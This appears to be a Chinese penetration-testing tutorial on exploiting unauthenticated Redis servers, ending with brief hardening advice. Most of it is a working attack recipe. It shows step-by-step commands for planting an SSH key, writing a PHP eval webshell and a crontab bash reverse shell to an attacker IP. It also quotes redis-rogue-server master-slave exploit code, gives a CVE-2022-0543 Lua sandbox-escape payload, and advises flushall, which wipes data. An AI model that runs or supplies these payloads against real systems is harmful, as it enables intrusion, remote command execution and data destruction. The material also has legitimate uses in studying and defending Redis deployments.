文前漫谈
之前面试里碰见过,属于面试经典了,有空了了解一下
2015年的洞了,从以前乌云一个师傅的文章那了解到
Redis 有关的漏洞具有明显的时间分段性,在15年11月之前,主要是未授权导致的数据泄露,获得一些账号密码。另外还可以 DoS(参考:Sangfor VMP redis unauthorized access vulnerability),主要是在 Redis 的命令行工具里输入 shuntdown 命令关闭 Redis 服务器,影响网站正常业务。在15年11月之后,你懂得~
现在都2023年了,害~~~
CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享
Redis简介
Redis 全称 Remote Dictionary Server(即远程字典服务),它是一个基于内存(当然也可以把其存储至硬盘上,这也是写shell的必要条件之一)实现的键值型非关系(NoSQL)数据库。Redis 免费开源,其最新稳定版本是 6.2.x(2022/11/10),版本更新参见
常用版本包括3.0、4.0、5.0
。自 Redis 诞生以来,它以其超高的性能、完美的文档和简洁易懂的源码广受好评,国内外很多大型互联网公司都在使用 Redis,比如腾讯、阿里、Twitter、Github 等等。
小tips
Redis 使用标准的做法进行版本管理: “主版本号.副版本号.补丁号”。偶数副版本号表示一个稳定的发布,像 1.2, 2.0, 2.2, 2.4, 2.6, 2.8。奇数副版本号表示不稳定的发布,例如 2.9.x 发布是一个不稳定版本,下一个稳定版本将会是Redis 3.0。
实战中Redis常用命令:
redis-cli -h ip -p 6379 -a passwd # 外部连接,Redis 的连接除了通过指定 IP,也可以通过指定域名
info # 查看相关redis信息
set xz "Hacker" # 设置键xz的值为字符串Hacker
get xz # 获取键xz的内容
INCR score # 使用INCR命令将score的值增加1
keys * # 列出当前数据库中所有的键
config set protected-mode no # 关闭安全模式
get anotherkey # 获取一个不存在的键的值
config set dir /root/redis # 设置保存目录
config set dbfilename redis.rdb # 设置保存文件名
config get dir # 查看保存目录
config get dbfilename # 查看保存文件名
save # 进行一次备份操作
flushall # 删除所有数据
del key # 删除键为key的数据
slaveof ip port # 设置主从关系
使用SET和GET命令,可以完成基本的赋值和取值操作;
Redis是不区分命令的大小写的,set和SET是同一个意思;
使用keys *可以列出当前数据库中的所有键;
当尝试获取一个不存在的键的值时,Redis会返回空,即(nil);
如果键的值中有空格,需要使用双引号括起来,如"Hello World";
Redis.conf 配置文件参数:
一般的,redis.conf文件路径/etc/redis/redis.conf
port参数:
格式为port后面接端口号,如port 6379,表示Redis服务器将在6379端口上进行监听来等待客户端的连接。
bind参数:
格式为bind后面接IP地址,可以同时绑定在多个IP地址上,IP地址之间用空格分离,如bind 192.168.1.100 10.0.0.1,表允许192.168.1.100和10.0.0.1两个IP连接。如果设置为0.0.0.0则表示任意ip都可连接,说白了就是白名单。
save参数:
格式为save <秒数> <变化数>,表示在指定的秒数内数据库存在指定的改变数时自动进行备份(Redis是内存数据库,这里的备份就是指把内存中的数据备份到磁盘上)。可以同时指定多个save参数,如:
save 900 1
save 300 10
save 60 10000
表示如果数据库的内容在60秒后产生了10000次改变,或者300秒后产生了10次改变,或者900秒后产生了1次改变,那么立即进行备份操作。
requirepass参数:
格式为requirepass后接指定的密码,用于指定客户端在连接Redis服务器时所使用的密码。Redis默认的密码参数是空的,说明不需要密码即可连接;同时,配置文件有一条注释了的requirepass foobared命令,如果去掉注释,表示需要使用foobared密码才能连接Redis数据库。
dir参数:
格式为dir后接指定的路径,默认为dir ./,指明Redis的工作目录为当前目录,即redis-server文件所在的目录。注意,Redis产生的备份文件将放在这个目录下。
dbfilename参数:
格式为dbfilename后接指定的文件名称,用于指定Redis备份文件的名字,默认为dbfilename dump.rdb,即备份文件的名字为dump.rdb。
config命令:
通过config命令可以读取和设置dir参数以及dbfilename参数,因为这条命令比较危险(实验将进行详细介绍),所以Redis在配置文件中提供了rename-command参数来对其进行重命名操作,如rename-command CONFIG HTCMD,可以将CONFIG命令重命名为HTCMD。配置文件默认是没有对CONFIG命令进行重命名操作的。
protected-mode参数:
redis3.2之后添加了protected-mode安全模式,默认值为yes,开启后禁止外部连接,所以在测试时,先在配置中修改为no。
当我们获得了一个 redis 控制台,我们可以调用 config set/get 等命令对 redis 的部分配置进行修改。而恰好的是,我们可以通过config set来更改dir和dbfilename。也就是说我们可以不用修改redis.conf,也不用重启 redis 服务就可以写入任意文件。
所以这两步加上下面的 save 这一步是把上面在内存中写入的公钥写入到 /root/.ssh/authorized_keys 这一个硬盘上的文件中。
redis未授权漏洞原理
Redis默认配置过程中无需设置密码,可能造成空口令风险。这种情况下只要连接的Redis服务器的host和port正确,且攻击机安装redis客户端就可以成功连接,存在类似风险的数据库服务器还有MONGODB
。
Redis安装默认情况下,会绑定在0.0.0.0:6379
,如果没有限制来源IP并且没有设置密码(所以这也是两种修复手段),就会导致攻击者非法访问,读取Redis的数据,利用自身config命令进行写入操作。
Redis 是常见内网服务。其他的常见内网服务还有如 Structs2 和 Elastic。
漏洞的影响版本
Redis 2.x,3.x,4.x,5.x
未授权漏洞复现
- 未授权 Redis 拿 shell 的 3 种方式
通过写 SSH key
通过向 Web 目录中写入 webshell
通过写 crontab 计划任务
nmap扫描端口发现redis服务
无密码未授权实现直接访问,然后可以执行redis命令操作
redis-cli -h ip [-p 6379] [-a passwd]
info
查看reids服务端信息
组合拳攻击 三种拿shell方式
落地ssh公钥免密登录 (system shell)
利用条件
- Redis 未授权访问漏洞
- 服务器对外开启了 ssh 服务
- Redis 服务器运行在 root 用户下(否则还要猜测用户用以修改authorized_keys的保存目录)
所以在实际渗透过程中,该服务器「端口扫描」结果至少要满足:
- Redis 服务 open(默认 6379 端口)
- ssh 服务 open(默认 22 端口)[没开 ssh 都是扯淡]
具体步骤
- 生成一个 ssh-key:
ssh-keygen -t rsa
- 防止其他数据干扰给公钥加点换行:
(echo -e "\n\n"; cat /home/kali/.ssh/id_rsa.pub; echo -e "\n\n") > may.txt
或者是\r\n
最好在公钥内容的前面和后面都加上一点空格和回车,不然数据库的其它内容可能会造成影响。
- 把公钥写入到一个 key 里面,这个例子中是写入了 may 这个 key。
cat may.txt | redis-cli -h host -x set may
注: -x 代表从标准输入读取数据作为该命令的最后一个参数。
- 设置 rdb 文件存放的路径:
config set dir /root/.ssh
- 设置 rdb 文件的文件名
config set dbfilename "authorized_keys"
config set dir xxx 和 config set dbfilename xxx 这两步是什么意思呢?
例如,我们将dir设置为一个目录a,而dbfilename设置为文件名b,再执行save或bgsave,则我们就可以写入一个路径为a/b的任意文件:
- 搞定保存。
save
exit
Redis 的数据主要保存在内存中,但使用者可以随时执行 save 命令将当前 Redis 的数据保存到硬盘上,另外redis也会根据配置自动存储数据到硬盘上。
- ssh尝试登陆:
ssh root@192.168.174.140 注意authorized_keys写入的目录,也就是登录的用户
这样我们就获得了一台服务器的 shell。
可以到此服务器上查看,发现/root/.ssh
目录下已经有了 authorized_keys:
cat /root/.ssh/authorized_keys
一些心得现状:
首先此方式肯定是无法适用于 Windows 主机的。(判断是 Windows 机器还是 Linux 机器可以通过下图所示的命令根据路径判断,下图为Linux下)
另外随着运维人员对此漏洞认识的深入,现在越来越少运维会直接以 root 起 Redis 的。这样就无法直接往/root/.ssh
目录下写公钥。
当然写入的目录不限于/root/.ssh
下的authorized_keys
,也可以写入用户目录。那么要多一个猜用户的步骤。
相较之下,直接写 webshell 和写计划任务这两种方式用的更多。
关于什么时候要flushall
redis-cli -h host flushall
一般写authorized-key时注意多写两个换行就行,这里我找了很多垃圾数据放在authorized-key文件里,依然能正常免密登录,主要是在写webshell时需要注意。
redis在生产环境里面数据量经常是十分庞大的,save到php文件里会超过php的允许文件大小,导致无法解析,而且save也不支持仅写入某个数据库,而是只能保存整个redis的实例,所以select到某个空数据库来写入shell也是无法试验的
解决办法
直接flushall全删掉即可。或者先备份再删,之后再进行恢复。实战就算碰见了也慎用,师傅们保命重要
利用redis写webshell
利用条件:
- 知道网站根目录绝对路径(所以实际渗透过程中,这个方法通常需要搭配 phpinfo() 等信息使用。)
- 无需是 root 起的 Redis
- 可适用于 Windows(非 ssh 连接)
- 一般无需 flushall 清空数据库(一定情况下也需要)
理解了落地ssh公钥原理,利用redis写webshell就十分简单,主要还是四个步骤
具体步骤:
- 设置保存路径
config set dir /var/www/html (网站根目录的绝对路径)
- 修改保存文件名
config set dbfilename xxx.php
- 将键值写入文件
set xxx "\r\n\r\n<?php eval($_REQUEST['cmd']);?>\r\n\r\n"
#\r\n\r\n 代表换行的意思,用redis写入文件的会自带一些版本信息,如果不换行可能会导致无法执行
- 保存
SAVE
EXIT
虽然写入的是二进制文件,但是网页端访问依然能够解析
可能遇见的错误
下面是一种典型的报错,说明运行redis的用户对网站根目录没用写入权限,这里redis服务属于redis用户
通过写crontab计划任务getshell
利用条件:
通过写 crontab 的方式 getshell 是一种很绿色的方式:
- 无需 flushall 清空数据
注意,这里并不是因为写计划任务本身无需 flushall,而是因为
redis-cli set 1 'ringzero'
这样的语法可以控制第一条记录,就能保证你的内容始终保持在最前面。
redis-cli set % 'test'
就是一个标准用法,因为百分号比1
的优先级更高。
- 需要是 root 起的 Redis。
归根到底还是要 root 运行 redis,毕竟要写到/var/spool/cron/crontabs/root下,主要优势是适用一些 ssh 不能被直接访问的场景。
- 不适用于 Windows 服务器
Windows 场景下没有计划任务,可以尝试一下写入启动项。理论上可以尝试写文件到用户启动项,但是现实是 Windows 普通用户没有计划任务权限。Windows 下 Redis 拿 shell,后面会单独成文讨论。
具体步骤
- 计划任务默认存储路径
/var/spool/cron/crontabs/
,设置写 crontabs 的文件夹路径
config set dir /var/spool/cron/crontabs
- 修改保存文件名
config set dbfilename root
- 对
/var/spool/cron/crontabs/root
写入「反弹 shell」的计划任务
echo -e "\n\n\n192.168.174.140 bash -i >& /dev/tcp/198.168.174.131/9999 0>&1\n\n\n"|redis-cli -x set %
- 保存
SAVE
EXIT
- 监听公网机器指定端口,接收反弹回来的 shell
nc -lvvp 9999
总结
未授权或弱密码造成的可登入是必要条件,可公网访问是充分条件。如果公网不能访问,还可以通过 socks 隧道、SSRF 等方式内网漫游。
Redis 4.x/5.x 主从复制导致的命令执行
前面说过,redis是基于内存的,当场景需要大量访问Redis中的数据,服务端难免会难以承受。Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。
问题就出现在了数据同步这一步,主机如果有恶意数据的话从机也会不分黑白跟着同步。
利用条件 redis<=5.0.5
该漏洞的触发条件依然是未授权或者弱口令连接
具体步骤
利用redis-rogue-server工具
该工具的原理就是首先创建一个恶意的Redis服务器作为Redis主机(master),该Redis主机能够回应其他连接它的Redis从机的响应。有了恶意的Redis主机之后,就会远程连接目标Redis服务器,通过slaveof命令将目标Redis服务器设置为我们恶意Redis的Redis从机(slaver)。然后将恶意Redis主机上的exp同步到Reids从机上,并将dbfilename设置为exp.so。最后再控制Redis从机(slaver)加载模块执行系统命令即可。
进行主从关系绑定的恶意代码
def runserver(rhost, rport, lhost, lport, passwd):
# expolit
remote = Remote(rhost, rport) #实例化Remote,在构造函数中打开监听
info("Setting master...")
# auth
if passwd:
info("Authenticating...")
remote.do(f"AUTH {passwd}") # 发送验证密码请求
remote.do(f"SLAVEOF {lhost} {lport}") # Redis Slaveof 命令可以将当前服务器转变为指定服务器的从属服务器(slave server)。lhost和lport是恶意服务器
info("Setting dbfilename...")
remote.do(f"CONFIG SET dbfilename {SERVER_EXP_MOD_FILE}") # 写入恶意so文件
sleep(2)
rogue = RogueServer(lhost, lport)
rogue.exp()
sleep(2)
info("Loading module...")
remote.do(f"MODULE LOAD ./{SERVER_EXP_MOD_FILE}") # 加载恶意模块
info("Temerory cleaning up...")
remote.do("SLAVEOF NO ONE")
remote.do("CONFIG SET dbfilename dump.rdb")
remote.shell_cmd(f"rm ./{SERVER_EXP_MOD_FILE}")
rogue.close()
审过Exp之后我们可以发现,在写入so文件时和另一个开源项目十分相似,两个项目在这里都进行了类似模块污染的操作。这里想起了之前做过的一道题目:[天翼杯 2021]easy_eval
当时在做这道题目的时候,通过redis进行提权。
当时思路是:蚁剑getshell->上传恶意so文件->访问redis->MODULE LOAD加载恶意so文件->使用加载文件中的恶意函数提权到redis服务的用户
CVE-2022-0543:Redis lua 沙盒逃逸漏洞
造成redis沙盒逃逸漏洞的原因主要是由于redis lua,redis嵌入了lua编程语言作为其脚本引擎,可通过eval命令使用lua,lua引擎是沙盒化的,不能在运行redis的服务器上执行任意代码。但在Debian以及ubuntu发行版上,由于打包问题,在lua沙箱中遗留了一个对象package,攻击者可以利用这个对象package逃逸redis lua沙盒,在运行redis的服务器上执行任意命令。
利用的前提依然是未授权或者弱口令连接,并且它只影响 Debian 系的 Linux 发行版系统(Debian、Ubuntu 等)上的 Redis 服务,其他系统上的 Redis 服务不受影响。
影响版本:
- 2.2 <= redis < 5.0.13
- 2.2 <= redis < 6.0.15
- 2.2 <= redis < 6.2.5
利用步骤:
- 连接redis-server
redis-cli -h host
- eval执行lua代码
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("uname -a", "r"); local res = f:read("*a"); f:close(); return res' 0
防御思路
1 . 开启密码验证并设置高强度密码,redis的查询速度是非常快的,外部用户一秒内可以尝试多达150K个密码;所以密码要尽量长
requirepass
2 . 在redis.conf文件中绑定内网ip,最好是本地ip,并且禁止公网访问
bind xxx.xxx.xxx.xxx
3 . 在redis.conf文件中修改redis默认端口
port xxxx
4 . 低权限运行redis服务(非root用户)
5 . 禁用高危命令,其实就是换个难猜的名字
rename-command FLUSHALL delflushall
rename-command CONFIG conf
CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享